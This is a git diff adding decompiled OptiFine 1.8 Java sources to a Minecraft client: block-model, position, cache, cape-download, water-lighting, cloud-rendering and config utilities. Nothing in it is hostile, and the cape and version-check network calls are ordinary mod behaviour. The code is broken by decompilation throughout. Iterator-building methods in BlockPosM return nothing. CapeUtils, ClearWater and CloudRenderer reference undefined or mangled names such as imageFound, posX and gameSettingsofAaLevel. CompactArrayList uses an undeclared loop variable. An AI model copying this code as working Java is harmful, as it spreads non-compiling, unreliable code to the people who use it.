+    GlStateManager.func_179098_w();
+  }
+  
+  public static void clearBlend(float rainBrightness)
+  {
+    GlStateManager.disableAlpha();
+    GlStateManager.enableBlend();
+    GlStateManager.blendFunc(770, 1);
+    GlStateManager.color(1.0F, 1.0F, 1.0F, rainBrightness);
+  }
+}
diff --git a/src/minecraft/optifine/BlockModelUtils.java b/src/minecraft/optifine/BlockModelUtils.java
new file mode 100644
index 0000000..002a634
--- /dev/null
+++ b/src/minecraft/optifine/BlockModelUtils.java
@@ -0,0 +1,57 @@
+package optifine;
+
+import java.util.ArrayList;
+import javax.vecmath.Vector3f;
+import net.minecraft.client.renderer.block.model.BakedQuad;
+import net.minecraft.client.renderer.block.model.BlockFaceUV;
+import net.minecraft.client.renderer.block.model.BlockPartFace;
+import net.minecraft.client.renderer.block.model.FaceBakery;
+import net.minecraft.client.renderer.texture.TextureAtlasSprite;
+import net.minecraft.client.resources.model.IBakedModel;
+import net.minecraft.client.resources.model.ModelRotation;
+import net.minecraft.client.resources.model.SimpleBakedModel;
+import net.minecraft.util.EnumFacing;
+
+public class BlockModelUtils
+{
+  public BlockModelUtils() {}
+  
+  public static IBakedModel makeModelCube(String spriteName, int tintIndex)
+  {
+    TextureAtlasSprite sprite = Config.getMinecraft().getTextureMapBlocks().getAtlasSprite(spriteName);
+    return makeModelCube(sprite, tintIndex);
+  }
+  
+  public static IBakedModel makeModelCube(TextureAtlasSprite sprite, int tintIndex)
+  {
+    ArrayList generalQuads = new ArrayList();
+    EnumFacing[] facings = EnumFacing.VALUES;
+    ArrayList faceQuads = new ArrayList(facings.length);
+    
+    for (int bakedModel = 0; bakedModel < facings.length; bakedModel++)
+    {
+      EnumFacing facing = facings[bakedModel];
+      ArrayList quads = new ArrayList();
+      quads.add(makeBakedQuad(facing, sprite, tintIndex));
+      faceQuads.add(quads);
+    }
+    
+    SimpleBakedModel var8 = new SimpleBakedModel(generalQuads, faceQuads, true, true, sprite, net.minecraft.client.renderer.block.model.ItemCameraTransforms.field_178357_a);
+    return var8;
+  }
+  
+  private static BakedQuad makeBakedQuad(EnumFacing facing, TextureAtlasSprite sprite, int tintIndex)
+  {
+    Vector3f posFrom = new Vector3f(0.0F, 0.0F, 0.0F);
+    Vector3f posTo = new Vector3f(16.0F, 16.0F, 16.0F);
+    BlockFaceUV uv = new BlockFaceUV(new float[] { 0.0F, 0.0F, 16.0F, 16.0F }, 0);
+    BlockPartFace face = new BlockPartFace(facing, tintIndex, "#" + facing.getName(), uv);
+    ModelRotation modelRotation = ModelRotation.X0_Y0;
+    Object partRotation = null;
+    boolean uvLocked = false;
+    boolean shade = true;
+    FaceBakery faceBakery = new FaceBakery();
+    BakedQuad quad = faceBakery.func_178414_a(posFrom, posTo, face, sprite, facing, modelRotation, (net.minecraft.client.renderer.block.model.BlockPartRotation)partRotation, uvLocked, shade);
+    return quad;
+  }
+}
diff --git a/src/minecraft/optifine/BlockPosM.java b/src/minecraft/optifine/BlockPosM.java
new file mode 100644
index 0000000..fa6875b
--- /dev/null
+++ b/src/minecraft/optifine/BlockPosM.java
@@ -0,0 +1,199 @@
+package optifine;
+
+import com.google.common.collect.AbstractIterator;
+import java.util.Iterator;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.EnumFacing;
+import net.minecraft.util.MathHelper;
+
+public class BlockPosM extends BlockPos
+{
+  private int mx;
+  private int my;
+  private int mz;
+  private int level;
+  private BlockPosM[] facings;
+  private boolean needsUpdate;
+  
+  public BlockPosM(int x, int y, int z)
+  {
+    this(x, y, z, 0);
+  }
+  
+  public BlockPosM(double xIn, double yIn, double zIn)
+  {
+    this(MathHelper.floor_double(xIn), MathHelper.floor_double(yIn), MathHelper.floor_double(zIn));
+  }
+  
+  public BlockPosM(int x, int y, int z, int level)
+  {
+    super(0, 0, 0);
+    mx = x;
+    my = y;
+    mz = z;
+    this.level = level;
+  }
+  
+
+
+
+  public int getX()
+  {
+    return mx;
+  }
+  
+
+
+
+  public int getY()
+  {
+    return my;
+  }
+  
+
+
+
+  public int getZ()
+  {
+    return mz;
+  }
+  
+  public void setXyz(int x, int y, int z)
+  {
+    mx = x;
+    my = y;
+    mz = z;
+    needsUpdate = true;
+  }
+  
+  public void setXyz(double xIn, double yIn, double zIn)
+  {
+    setXyz(MathHelper.floor_double(xIn), MathHelper.floor_double(yIn), MathHelper.floor_double(zIn));
+  }
+  
+
+
+
+  public BlockPos offset(EnumFacing facing)
+  {
+    if (level <= 0)
+    {
+      return super.offset(facing, 1);
+    }
+    
+
+    if (facings == null)
+    {
+      facings = new BlockPosM[EnumFacing.VALUES.length];
+    }
+    
+    if (needsUpdate)
+    {
+      update();
+    }
+    
+    int index = facing.getIndex();
+    BlockPosM bpm = facings[index];
+    
+    if (bpm == null)
+    {
+      int nx = mx + facing.getFrontOffsetX();
+      int ny = my + facing.getFrontOffsetY();
+      int nz = mz + facing.getFrontOffsetZ();
+      bpm = new BlockPosM(nx, ny, nz, level - 1);
+      facings[index] = bpm;
+    }
+    
+    return bpm;
+  }
+  
+
+
+
+
+  public BlockPos offset(EnumFacing facing, int n)
+  {
+    return n == 1 ? offset(facing) : super.offset(facing, n);
+  }
+  
+  private void update()
+  {
+    for (int i = 0; i < 6; i++)
+    {
+      BlockPosM bpm = facings[i];
+      
+      if (bpm != null)
+      {
+        EnumFacing facing = EnumFacing.VALUES[i];
+        int nx = mx + facing.getFrontOffsetX();
+        int ny = my + facing.getFrontOffsetY();
+        int nz = mz + facing.getFrontOffsetZ();
+        bpm.setXyz(nx, ny, nz);
+      }
+    }
+    
+    needsUpdate = false;
+  }
+  
+  public static Iterable getAllInBoxMutable(BlockPos from, BlockPos to)
+  {
+    BlockPos posFrom = new BlockPos(Math.min(from.getX(), to.getX()), Math.min(from.getY(), to.getY()), Math.min(from.getZ(), to.getZ()));
+    final BlockPos posTo = new BlockPos(Math.max(from.getX(), to.getX()), Math.max(from.getY(), to.getY()), Math.max(from.getZ(), to.getZ()));
+    new Iterable()
+    {
+      public Iterator iterator()
+      {
+        new AbstractIterator()
+        {
+          private BlockPosM theBlockPosM = null;
+          
+          protected BlockPosM computeNext0() {
+            if (theBlockPosM == null)
+            {
+              theBlockPosM = new BlockPosM(val$posFrom.getX(), val$posFrom.getY(), val$posFrom.getZ(), 3);
+              return theBlockPosM;
+            }
+            if (theBlockPosM.equals(val$posTo))
+            {
+              return (BlockPosM)endOfData();
+            }
+            
+
+            int bx = theBlockPosM.getX();
+            int by = theBlockPosM.getY();
+            int bz = theBlockPosM.getZ();
+            
+            if (bx < val$posTo.getX())
+            {
+              bx++;
+            }
+            else if (by < val$posTo.getY())
+            {
+              bx = val$posFrom.getX();
+              by++;
+            }
+            else if (bz < val$posTo.getZ())
+            {
+              bx = val$posFrom.getX();
+              by = val$posFrom.getY();
+              bz++;
+            }
+            
+            theBlockPosM.setXyz(bx, by, bz);
+            return theBlockPosM;
+          }
+          
+          protected Object computeNext()
+          {
+            return computeNext0();
+          }
+        };
+      }
+    };
+  }
+  
+  public BlockPos getImmutable()
+  {
+    return new BlockPos(getX(), getY(), getZ());
+  }
+}
diff --git a/src/minecraft/optifine/CacheLocal.java b/src/minecraft/optifine/CacheLocal.java
new file mode 100644
index 0000000..d9119ff
--- /dev/null
+++ b/src/minecraft/optifine/CacheLocal.java
@@ -0,0 +1,76 @@
+package optifine;
+
+public class CacheLocal
+{
+  private int maxX = 18;
+  private int maxY = 128;
+  private int maxZ = 18;
+  private int offsetX = 0;
+  private int offsetY = 0;
+  private int offsetZ = 0;
+  private int[][][] cache = null;
+  private int[] lastZs = null;
+  private int lastDz = 0;
+  
+  public CacheLocal(int maxX, int maxY, int maxZ)
+  {
+    this.maxX = maxX;
+    this.maxY = maxY;
+    this.maxZ = maxZ;
+    cache = new int[maxX][maxY][maxZ];
+    resetCache();
+  }
+  
+  public void resetCache()
+  {
+    for (int x = 0; x < maxX; x++)
+    {
+      int[][] ys = cache[x];
+      
+      for (int y = 0; y < maxY; y++)
+      {
+        int[] zs = ys[y];
+        
+        for (int z = 0; z < maxZ; z++)
+        {
+          zs[z] = -1;
+        }
+      }
+    }
+  }
+  
+  public void setOffset(int x, int y, int z)
+  {
+    offsetX = x;
+    offsetY = y;
+    offsetZ = z;
+    resetCache();
+  }
+  
+  public int get(int x, int y, int z)
+  {
+    try
+    {
+      lastZs = cache[(x - offsetX)][(y - offsetY)];
+      lastDz = (z - offsetZ);
+      return lastZs[lastDz];
+    }
+    catch (ArrayIndexOutOfBoundsException var5)
+    {
+      var5.printStackTrace(); }
+    return -1;
+  }
+  
+
+  public void setLast(int val)
+  {
+    try
+    {
+      lastZs[lastDz] = val;
+    }
+    catch (Exception var3)
+    {
+      var3.printStackTrace();
+    }
+  }
+}
diff --git a/src/minecraft/optifine/CacheLocalByte.java b/src/minecraft/optifine/CacheLocalByte.java
new file mode 100644
index 0000000..d09b0ab
--- /dev/null
+++ b/src/minecraft/optifine/CacheLocalByte.java
@@ -0,0 +1,76 @@
+package optifine;
+
+public class CacheLocalByte
+{
+  private int maxX = 18;
+  private int maxY = 128;
+  private int maxZ = 18;
+  private int offsetX = 0;
+  private int offsetY = 0;
+  private int offsetZ = 0;
+  private byte[][][] cache = null;
+  private byte[] lastZs = null;
+  private int lastDz = 0;
+  
+  public CacheLocalByte(int maxX, int maxY, int maxZ)
+  {
+    this.maxX = maxX;
+    this.maxY = maxY;
+    this.maxZ = maxZ;
+    cache = new byte[maxX][maxY][maxZ];
+    resetCache();
+  }
+  
+  public void resetCache()
+  {
+    for (int x = 0; x < maxX; x++)
+    {
+      byte[][] ys = cache[x];
+      
+      for (int y = 0; y < maxY; y++)
+      {
+        byte[] zs = ys[y];
+        
+        for (int z = 0; z < maxZ; z++)
+        {
+          zs[z] = -1;
+        }
+      }
+    }
+  }
+  
+  public void setOffset(int x, int y, int z)
+  {
+    offsetX = x;
+    offsetY = y;
+    offsetZ = z;
+    resetCache();
+  }
+  
+  public byte get(int x, int y, int z)
+  {
+    try
+    {
+      lastZs = cache[(x - offsetX)][(y - offsetY)];
+      lastDz = (z - offsetZ);
+      return lastZs[lastDz];
+    }
+    catch (ArrayIndexOutOfBoundsException var5)
+    {
+      var5.printStackTrace(); }
+    return -1;
+  }
+  
+
+  public void setLast(byte val)
+  {
+    try
+    {
+      lastZs[lastDz] = val;
+    }
+    catch (Exception var3)
+    {
+      var3.printStackTrace();
+    }
+  }
+}
diff --git a/src/minecraft/optifine/CapeUtils.java b/src/minecraft/optifine/CapeUtils.java
new file mode 100644
index 0000000..eddd29a
--- /dev/null
+++ b/src/minecraft/optifine/CapeUtils.java
@@ -0,0 +1,81 @@
+package optifine;
+
+import java.awt.Graphics;
+import java.awt.image.BufferedImage;
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.entity.AbstractClientPlayer;
+import net.minecraft.client.renderer.IImageBuffer;
+import net.minecraft.client.renderer.ImageBufferDownload;
+import net.minecraft.client.renderer.ThreadDownloadImageData;
+import net.minecraft.client.renderer.texture.ITextureObject;
+import net.minecraft.client.renderer.texture.TextureManager;
+import net.minecraft.util.ResourceLocation;
+import org.apache.commons.io.FilenameUtils;
+
+public class CapeUtils
+{
+  public CapeUtils() {}
+  
+  public static void downloadCape(AbstractClientPlayer player)
+  {
+    String username = player.getNameClear();
+    
+    if ((username != null) && (!username.isEmpty()))
+    {
+      String ofCapeUrl = "http://s.optifine.net/capes/" + username + ".png";
+      String mptHash = FilenameUtils.getBaseName(ofCapeUrl);
+      final ResourceLocation rl = new ResourceLocation("capeof/" + mptHash);
+      TextureManager textureManager = Minecraft.getMinecraft().getTextureManager();
+      ITextureObject tex = textureManager.getTexture(rl);
+      
+      if ((tex != null) && ((tex instanceof ThreadDownloadImageData)))
+      {
+        ThreadDownloadImageData thePlayer = (ThreadDownloadImageData)tex;
+        
+        if (imageFound != null)
+        {
+          if (imageFound.booleanValue())
+          {
+            player.setLocationOfCape(rl);
+          }
+          
+          return;
+        }
+      }
+      
+      IImageBuffer iib = new IImageBuffer()
+      {
+        ImageBufferDownload ibd = new ImageBufferDownload();
+        
+        public BufferedImage parseUserSkin(BufferedImage var1) {
+          return CapeUtils.parseCape(var1);
+        }
+        
+        public void func_152634_a() {
+          setLocationOfCape(rl);
+        }
+      };
+      ThreadDownloadImageData textureCape = new ThreadDownloadImageData(null, ofCapeUrl, null, iib);
+      pipeline = true;
+      textureManager.loadTexture(rl, textureCape);
+    }
+  }
+  
+  public static BufferedImage parseCape(BufferedImage img)
+  {
+    int imageWidth = 64;
+    int imageHeight = 32;
+    int srcWidth = img.getWidth();
+    
+    for (int srcHeight = img.getHeight(); (imageWidth < srcWidth) || (imageHeight < srcHeight); imageHeight *= 2)
+    {
+      imageWidth *= 2;
+    }
+    
+    BufferedImage imgNew = new BufferedImage(imageWidth, imageHeight, 2);
+    Graphics g = imgNew.getGraphics();
+    g.drawImage(img, 0, 0, null);
+    g.dispose();
+    return imgNew;
+  }
+}
diff --git a/src/minecraft/optifine/ChunkUtils.java b/src/minecraft/optifine/ChunkUtils.java
new file mode 100644
index 0000000..dd27e68
--- /dev/null
+++ b/src/minecraft/optifine/ChunkUtils.java
@@ -0,0 +1,115 @@
+package optifine;
+
+import java.lang.reflect.Field;
+import java.util.ArrayList;
+import java.util.Iterator;
+import net.minecraft.world.chunk.Chunk;
+
+public class ChunkUtils
+{
+  private static Field fieldHasEntities = null;
+  private static boolean fieldHasEntitiesMissing = false;
+  
+  public ChunkUtils() {}
+  
+  public static boolean hasEntities(Chunk chunk) { if (fieldHasEntities == null)
+    {
+      if (fieldHasEntitiesMissing)
+      {
+        return true;
+      }
+      
+      fieldHasEntities = findFieldHasEntities(chunk);
+      
+      if (fieldHasEntities == null)
+      {
+        fieldHasEntitiesMissing = true;
+        return true;
+      }
+    }
+    
+    try
+    {
+      return fieldHasEntities.getBoolean(chunk);
+    }
+    catch (Exception var2)
+    {
+      Config.warn("Error calling Chunk.hasEntities");
+      Config.warn(var2.getClass().getName() + " " + var2.getMessage());
+      fieldHasEntitiesMissing = true; }
+    return true;
+  }
+  
+
+  private static Field findFieldHasEntities(Chunk chunk)
+  {
+    try
+    {
+      ArrayList e = new ArrayList();
+      ArrayList listBoolValuesPre = new ArrayList();
+      Field[] fields = Chunk.class.getDeclaredFields();
+      
+      for (int listBoolValuesFalse = 0; listBoolValuesFalse < fields.length; listBoolValuesFalse++)
+      {
+        Field listBoolValuesTrue = fields[listBoolValuesFalse];
+        
+        if (listBoolValuesTrue.getType() == Boolean.TYPE)
+        {
+          listBoolValuesTrue.setAccessible(true);
+          e.add(listBoolValuesTrue);
+          listBoolValuesPre.add(listBoolValuesTrue.get(chunk));
+        }
+      }
+      
+      chunk.setHasEntities(false);
+      ArrayList var13 = new ArrayList();
+      Iterator var14 = e.iterator();
+      
+      while (var14.hasNext())
+      {
+        Field listMatchingFields = (Field)var14.next();
+        var13.add(listMatchingFields.get(chunk));
+      }
+      
+      chunk.setHasEntities(true);
+      ArrayList var15 = new ArrayList();
+      Iterator var16 = e.iterator();
+      
+
+      while (var16.hasNext())
+      {
+        Field field = (Field)var16.next();
+        var15.add(field.get(chunk));
+      }
+      
+      ArrayList var17 = new ArrayList();
+      
+      for (int var18 = 0; var18 < e.size(); var18++)
+      {
+        Field field1 = (Field)e.get(var18);
+        Boolean valFalse = (Boolean)var13.get(var18);
+        Boolean valTrue = (Boolean)var15.get(var18);
+        
+        if ((!valFalse.booleanValue()) && (valTrue.booleanValue()))
+        {
+          var17.add(field1);
+          Boolean valPre = (Boolean)listBoolValuesPre.get(var18);
+          field1.set(chunk, valPre);
+        }
+      }
+      
+      if (var17.size() == 1)
+      {
+        return (Field)var17.get(0);
+      }
+      
+    }
+    catch (Exception var12)
+    {
+      Config.warn(var12.getClass().getName() + " " + var12.getMessage());
+      
+
+      Config.warn("Error finding Chunk.hasEntities"); }
+    return null;
+  }
+}
diff --git a/src/minecraft/optifine/ClearWater.java b/src/minecraft/optifine/ClearWater.java
new file mode 100644
index 0000000..4864e0a
--- /dev/null
+++ b/src/minecraft/optifine/ClearWater.java
@@ -0,0 +1,119 @@
+package optifine;
+
+import net.minecraft.block.Block;
+import net.minecraft.block.BlockLeavesBase;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.client.settings.GameSettings;
+import net.minecraft.entity.Entity;
+import net.minecraft.init.Blocks;
+import net.minecraft.util.BlockPos;
+import net.minecraft.world.World;
+import net.minecraft.world.chunk.IChunkProvider;
+
+public class ClearWater
+{
+  public ClearWater() {}
+  
+  public static void updateWaterOpacity(GameSettings settings, World world)
+  {
+    if (settings != null)
+    {
+      byte cp = 3;
+      
+      if (ofClearWater)
+      {
+        cp = 1;
+      }
+      
+      BlockLeavesBase.setLightOpacity(Blocks.water, cp);
+      BlockLeavesBase.setLightOpacity(Blocks.flowing_water, cp);
+    }
+    
+    if (world != null)
+    {
+      IChunkProvider var25 = world.getChunkProvider();
+      
+      if (var25 != null)
+      {
+        Entity rve = Config.getMinecraft().func_175606_aa();
+        
+        if (rve != null)
+        {
+          int cViewX = (int)posX / 16;
+          int cViewZ = (int)posZ / 16;
+          int cXMin = cViewX - 512;
+          int cXMax = cViewX + 512;
+          int cZMin = cViewZ - 512;
+          int cZMax = cViewZ + 512;
+          int countUpdated = 0;
+          
+          for (int threadName = cXMin; threadName < cXMax; threadName++)
+          {
+            for (int cz = cZMin; cz < cZMax; cz++)
+            {
+              if (var25.chunkExists(threadName, cz))
+              {
+                net.minecraft.world.chunk.Chunk c = var25.provideChunk(threadName, cz);
+                
+                if ((c != null) && (!(c instanceof net.minecraft.world.chunk.EmptyChunk)))
+                {
+                  int x0 = threadName << 4;
+                  int z0 = cz << 4;
+                  int x1 = x0 + 16;
+                  int z1 = z0 + 16;
+                  BlockPosM posXZ = new BlockPosM(0, 0, 0);
+                  BlockPosM posXYZ = new BlockPosM(0, 0, 0);
+                  
+                  for (int x = x0; x < x1; x++)
+                  {
+                    int z = z0;
+                    
+                    while (z < z1)
+                    {
+                      posXZ.setXyz(x, 0, z);
+                      BlockPos posH = world.func_175725_q(posXZ);
+                      int y = 0;
+                      
+
+
+                      while (y < posH.getY())
+                      {
+                        posXYZ.setXyz(x, y, z);
+                        IBlockState bs = world.getBlockState(posXYZ);
+                        
+                        if (bs.getBlock().getMaterial() != net.minecraft.block.material.Material.water)
+                        {
+                          y++;
+                        }
+                        else
+                        {
+                          world.markBlocksDirtyVertical(x, z, posXYZ.getY(), posH.getY());
+                          countUpdated++;
+                        }
+                      }
+                      z++;
+                    }
+                  }
+                }
+              }
+            }
+          }
+          
+
+
+          if (countUpdated > 0)
+          {
+            String var26 = "server";
+            
+            if (Config.isMinecraftThread())
+            {
+              var26 = "client";
+            }
+            
+            Config.dbg("ClearWater (" + var26 + ") relighted " + countUpdated + " chunks");
+          }
+        }
+      }
+    }
+  }
+}
diff --git a/src/minecraft/optifine/CloudRenderer.java b/src/minecraft/optifine/CloudRenderer.java
new file mode 100644
index 0000000..611af00
--- /dev/null
+++ b/src/minecraft/optifine/CloudRenderer.java
@@ -0,0 +1,105 @@
+package optifine;
+
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.renderer.GlStateManager;
+import net.minecraft.client.settings.GameSettings;
+import net.minecraft.entity.Entity;
+import org.lwjgl.opengl.GL11;
+
+public class CloudRenderer
+{
+  private Minecraft mc;
+  private boolean updated = false;
+  private boolean renderFancy = false;
+  int cloudTickCounter;
+  float partialTicks;
+  private int glListClouds = -1;
+  private int cloudTickCounterUpdate = 0;
+  private double cloudPlayerX = 0.0D;
+  private double cloudPlayerY = 0.0D;
+  private double cloudPlayerZ = 0.0D;
+  
+  public CloudRenderer(Minecraft mc)
+  {
+    this.mc = mc;
+    glListClouds = net.minecraft.client.renderer.GLAllocation.generateDisplayLists(1);
+  }
+  
+  public void prepareToRender(boolean renderFancy, int cloudTickCounter, float partialTicks)
+  {
+    if (this.renderFancy != renderFancy)
+    {
+      updated = false;
+    }
+    
+    this.renderFancy = renderFancy;
+    this.cloudTickCounter = cloudTickCounter;
+    this.partialTicks = partialTicks;
+  }
+  
+  public boolean shouldUpdateGlList()
+  {
+    if (!updated)
+    {
+      return true;
+    }
+    if (cloudTickCounter >= cloudTickCounterUpdate + 20)
+    {
+      return true;
+    }
+    
+
+    Entity rve = mc.func_175606_aa();
+    boolean belowCloudsPrev = cloudPlayerY + rve.getEyeHeight() < 128.0D + mc.gameSettings.ofCloudsHeight * 128.0F;
+    boolean belowClouds = prevPosY + rve.getEyeHeight() < 128.0D + mc.gameSettings.ofCloudsHeight * 128.0F;
+    return belowClouds ^ belowCloudsPrev;
+  }
+  
+
+  public void startUpdateGlList()
+  {
+    GL11.glNewList(glListClouds, 4864);
+  }
+  
+  public void endUpdateGlList()
+  {
+    GL11.glEndList();
+    cloudTickCounterUpdate = cloudTickCounter;
+    cloudPlayerX = mc.func_175606_aa().prevPosX;
+    cloudPlayerY = mc.func_175606_aa().prevPosY;
+    cloudPlayerZ = mc.func_175606_aa().prevPosZ;
+    updated = true;
+    GlStateManager.func_179117_G();
+  }
+  
+  public void renderGlList()
+  {
+    Entity entityliving = mc.func_175606_aa();
+    double exactPlayerX = prevPosX + (posX - prevPosX) * partialTicks;
+    double exactPlayerY = prevPosY + (posY - prevPosY) * partialTicks;
+    double exactPlayerZ = prevPosZ + (posZ - prevPosZ) * partialTicks;
+    double dc = cloudTickCounter - cloudTickCounterUpdate + partialTicks;
+    float cdx = (float)(exactPlayerX - cloudPlayerX + dc * 0.03D);
+    float cdy = (float)(exactPlayerY - cloudPlayerY);
+    float cdz = (float)(exactPlayerZ - cloudPlayerZ);
+    GlStateManager.pushMatrix();
+    
+    if (renderFancy)
+    {
+      GlStateManager.translate(-cdx / 12.0F, -cdy, -cdz / 12.0F);
+    }
+    else
+    {
+      GlStateManager.translate(-cdx, -cdy, -cdz);
+    }
+    
+    GlStateManager.callList(glListClouds);
+    GlStateManager.popMatrix();
+    GlStateManager.func_179117_G();
+  }
+  
+  public void reset()
+  {
+    updated = false;
+  }
+}
diff --git a/src/minecraft/optifine/CompactArrayList.java b/src/minecraft/optifine/CompactArrayList.java
new file mode 100644
index 0000000..b0564fe
--- /dev/null
+++ b/src/minecraft/optifine/CompactArrayList.java
@@ -0,0 +1,153 @@
+package optifine;
+
+import java.util.ArrayList;
+
+public class CompactArrayList
+{
+  private ArrayList list;
+  private int initialCapacity;
+  private float loadFactor;
+  private int countValid;
+  
+  public CompactArrayList()
+  {
+    this(10, 0.75F);
+  }
+  
+  public CompactArrayList(int initialCapacity)
+  {
+    this(initialCapacity, 0.75F);
+  }
+  
+  public CompactArrayList(int initialCapacity, float loadFactor)
+  {
+    list = null;
+    this.initialCapacity = 0;
+    this.loadFactor = 1.0F;
+    countValid = 0;
+    list = new ArrayList(initialCapacity);
+    this.initialCapacity = initialCapacity;
+    this.loadFactor = loadFactor;
+  }
+  
+  public void add(int index, Object element)
+  {
+    if (element != null)
+    {
+      countValid += 1;
+    }
+    
+    list.add(index, element);
+  }
+  
+  public boolean add(Object element)
+  {
+    if (element != null)
+    {
+      countValid += 1;
+    }
+    
+    return list.add(element);
+  }
+  
+  public Object set(int index, Object element)
+  {
+    Object oldElement = list.set(index, element);
+    
+    if (element != oldElement)
+    {
+      if (oldElement == null)
+      {
+        countValid += 1;
+      }
+      
+      if (element == null)
+      {
+        countValid -= 1;
+      }
+    }
+    
+    return oldElement;
+  }
+  
+  public Object remove(int index)
+  {
+    Object oldElement = list.remove(index);
+    
+    if (oldElement != null)
+    {
+      countValid -= 1;
+    }
+    
+    return oldElement;
+  }
+  
+  public void clear()
+  {
+    list.clear();
+    countValid = 0;
+  }
+  
+  public void compact()
+  {
+    if ((countValid <= 0) && (list.size() <= 0))
+    {
+      clear();
+    }
+    else if (list.size() > initialCapacity)
+    {
+      float currentLoadFactor = countValid * 1.0F / list.size();
+      
+      if (currentLoadFactor <= loadFactor)
+      {
+        int dstIndex = 0;
+        
+
+        for (int i = 0; i < list.size(); i++)
+        {
+          Object wr = list.get(i);
+          
+          if (wr != null)
+          {
+            if (i != dstIndex)
+            {
+              list.set(dstIndex, wr);
+            }
+            
+            dstIndex++;
+          }
+        }
+        
+        for (i = list.size() - 1; i >= dstIndex; i--)
+        {
+          list.remove(i);
+        }
+      }
+    }
+  }
+  
+  public boolean contains(Object elem)
+  {
+    return list.contains(elem);
+  }
+  
+  public Object get(int index)
+  {
+    return list.get(index);
+  }
+  
+  public boolean isEmpty()
+  {
+    return list.isEmpty();
+  }
+  
+  public int size()
+  {
+    return list.size();
+  }
+  
+  public int getCountValid()
+  {
+    return countValid;
+  }
+}
diff --git a/src/minecraft/optifine/Config.java b/src/minecraft/optifine/Config.java
new file mode 100644
index 0000000..d0d6d03
--- /dev/null
+++ b/src/minecraft/optifine/Config.java
@@ -0,0 +1,1979 @@
+package optifine;
+
+import java.awt.Dimension;
+import java.awt.image.BufferedImage;
+import java.io.BufferedReader;
+import java.io.ByteArrayOutputStream;
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.FileOutputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.InputStreamReader;
+import java.io.PrintStream;
+import java.lang.reflect.Array;
+import java.lang.reflect.Field;
+import java.lang.reflect.Method;
+import java.nio.ByteBuffer;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.Comparator;
+import java.util.Iterator;
+import java.util.List;
+import java.util.Properties;
+import java.util.StringTokenizer;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+import javax.imageio.ImageIO;
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.gui.FontRenderer;
+import net.minecraft.client.gui.ScaledResolution;
+import net.minecraft.client.multiplayer.WorldClient;
+import net.minecraft.client.renderer.GlStateManager;
+import net.minecraft.client.renderer.RenderGlobal;
+import net.minecraft.client.renderer.texture.DynamicTexture;
+import net.minecraft.client.renderer.texture.TextureMap;
+import net.minecraft.client.resources.DefaultResourcePack;
+import net.minecraft.client.resources.IResource;
+import net.minecraft.client.resources.IResourceManager;
+import net.minecraft.client.resources.IResourcePack;
+import net.minecraft.client.resources.ResourcePackRepository;
+import net.minecraft.client.resources.ResourcePackRepository.Entry;
+import net.minecraft.client.resources.model.ModelManager;
+import net.minecraft.client.settings.GameSettings;
+import net.minecraft.server.integrated.IntegratedServer;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.ResourceLocation;
+import net.minecraft.world.WorldProvider;
+import net.minecraft.world.WorldServer;
+import org.apache.commons.io.IOUtils;
+import org.lwjgl.LWJGLException;
+import org.lwjgl.Sys;
+import org.lwjgl.opengl.ContextCapabilities;
+import org.lwjgl.opengl.Display;
+import org.lwjgl.opengl.DisplayMode;
+import org.lwjgl.opengl.GL11;
+import org.lwjgl.opengl.GLContext;
+import org.lwjgl.opengl.PixelFormat;
+import org.lwjgl.util.glu.GLU;
+import shadersmod.client.PropertyDefaultFastFancyOff;
+import shadersmod.client.Shaders;
+
+public class Config
+{
+  public static final String OF_NAME = "OptiFine";
+  public static final String MC_VERSION = "1.8";
+  public static final String OF_EDITION = "HD_U";
+  public static final String OF_RELEASE = "H6";
+  public static final String VERSION = "OptiFine_1.8_HD_U_H6";
+  private static String newRelease = null;
+  private static boolean notify64BitJava = false;
+  public static String openGlVersion = null;
+  public static String openGlRenderer = null;
+  public static String openGlVendor = null;
+  public static boolean fancyFogAvailable = false;
+  public static boolean occlusionAvailable = false;
+  private static GameSettings gameSettings = null;
+  private static Minecraft minecraft = null;
+  private static boolean initialized = false;
+  private static Thread minecraftThread = null;
+  private static DisplayMode desktopDisplayMode = null;
+  private static int antialiasingLevel = 0;
+  private static int availableProcessors = 0;
+  public static boolean zoomMode = false;
+  private static int texturePackClouds = 0;
+  public static boolean waterOpacityChanged = false;
+  private static boolean fullscreenModeChecked = false;
+  private static boolean desktopModeChecked = false;
+  private static DefaultResourcePack defaultResourcePack = null;
+  private static ModelManager modelManager = null;
+  private static PrintStream systemOut = new PrintStream(new FileOutputStream(java.io.FileDescriptor.out));
+  public static final Float DEF_ALPHA_FUNC_LEVEL = Float.valueOf(0.1F);
+  
+  public Config() {}
+  
+  public static String getVersion() { return "OptiFine_1.8_HD_U_H6"; }
+  
+
+  public static String getVersionDebug()
+  {
+    StringBuffer sb = new StringBuffer(32);
+    
+    if (isDynamicLights())
+    {
+      sb.append("DL: ");
+      sb.append(String.valueOf(DynamicLights.getCount()));
+      sb.append(", ");
+    }
+    
+    sb.append("OptiFine_1.8_HD_U_H6");
+    String shaderPack = Shaders.getShaderPackName();
+    
+    if (shaderPack != null)
+    {
+      sb.append(", ");
+      sb.append(shaderPack);
+    }
+    
+    return sb.toString();
+  }
+  
+  public static void initGameSettings(GameSettings settings)
+  {
+    if (gameSettings == null)
+    {
+      gameSettings = settings;
+      minecraft = Minecraft.getMinecraft();
+      desktopDisplayMode = Display.getDesktopDisplayMode();
+      updateAvailableProcessors();
+      ReflectorForge.putLaunchBlackboard("optifine.ForgeSplashCompatible", Boolean.TRUE);
+    }
+  }
+  
+  public static void initDisplay()
+  {
+    checkInitialized();
+    antialiasingLevel = gameSettingsofAaLevel;
+    checkDisplaySettings();
+    checkDisplayMode();
+    minecraftThread = Thread.currentThread();
+    updateThreadPriorities();
+    Shaders.startup(Minecraft.getMinecraft());
+  }
+  
+  public static void checkInitialized()
+  {
+    if (!initialized)
+    {
+      if (Display.isCreated())
+      {
+        initialized = true;
+        checkOpenGlCaps();
+        startVersionCheckThread();
+      }
+    }
+  }
+  
+  private static void checkOpenGlCaps()
+  {
+    log("");
+    log(getVersion());
+    log("Build: " + getBuild());
+    log("OS: " + System.getProperty("os.name") + " (" + System.getProperty("os.arch") + ") version " + System.getProperty("os.version"));
